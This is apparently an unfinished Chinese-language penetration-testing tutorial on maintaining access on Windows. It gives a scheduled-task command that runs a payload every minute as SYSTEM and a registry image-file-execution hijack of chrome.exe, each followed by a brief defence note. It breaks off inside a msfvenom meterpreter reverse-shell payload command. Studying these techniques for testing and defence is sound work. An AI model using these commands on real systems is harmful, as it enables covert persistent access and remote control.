渗透测试_权限维持
前言
渗透测试权限维持比较重要,所以要掌握一些重要的权限维持手段.
本文讲述Windows和Linux的权限维持, 以及被攻击后的防御手段.
Windows篇
较为常见的提权手段
ms17_058
ms16_016 (CVE-2016-0051)
ms16_032
后面会复现这些漏洞.
创建计划任务维权
假设已经拿到shell, 并且上传了payload.exe.
先修改活动代码页
chcp 65001
然后创建定时任务,每分钟调用一次shell, 去执行payload.exe
schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00 /ru system
参数解释:
schtasks /create 指的是创建计划任务.
/tn 指定计划任务的名称.
/tr 指定程序所在路径, 这里为指定要执行的批处理/软件存放路径.
/sc 为指定运行的周期单位
/mo 周期内执行的次数/频率
/st 为运行时间,以HH:MM:SS24 小时格式指定时间
/et 任务计划的结束时间
/ru 指定运行该批处理/软件的账号,如果去掉该参数则默认为当前账户运行,会提示输入密码。
一个计划任务所用的账号如果密码变动后该批处理就不再会运行成功
所以我这里使用系统账号system,密码就省略不写。
/rp 指定账号的密码
防护手段
控制面板 -> 管理工具 -> 任务计划程序
然后找到恶意计划任务
在操作中找到调用脚本/批处理/恶意文件程序(payload.exe). 然后删除.
然后删除计划任务.
镜像劫持
说明:系统在试图执行一个可执行文件运行请求时,会先检查注册表中,自己是否设置了debug.
如果设置了dubug,就会用debug指定的程序路径来代替原始的程序,之后执行的是代替的程序.
我们可以通过给一个程序添加debug达到映像劫持的目的.
简单点说,当你双击程序A,运行的却是程序B.
我们需要做的是对其注册表进行修改,为某个程序添加debug.
如一个谷歌浏览器的原始键值:
我们现在通过shell创建一个debugger:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
这样一来, 当用户点击浏览器时,就会打开cmd.当然,也可以打开其他东西.
双击谷歌浏览器时成功弹出cmd:
防护手段
对注册表备份,并对注册表进行扫描,查看注册表HKEY_LOCAL_MACHINE中是否存在debugger键.
域环境下的msdtc
说明:msdtc存在于组环境和域环境中,用于分布式事务处理协调器服务.
使用:
利用msf生成dll木马文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp/ LHOST=
未完待续......
Linux权限维持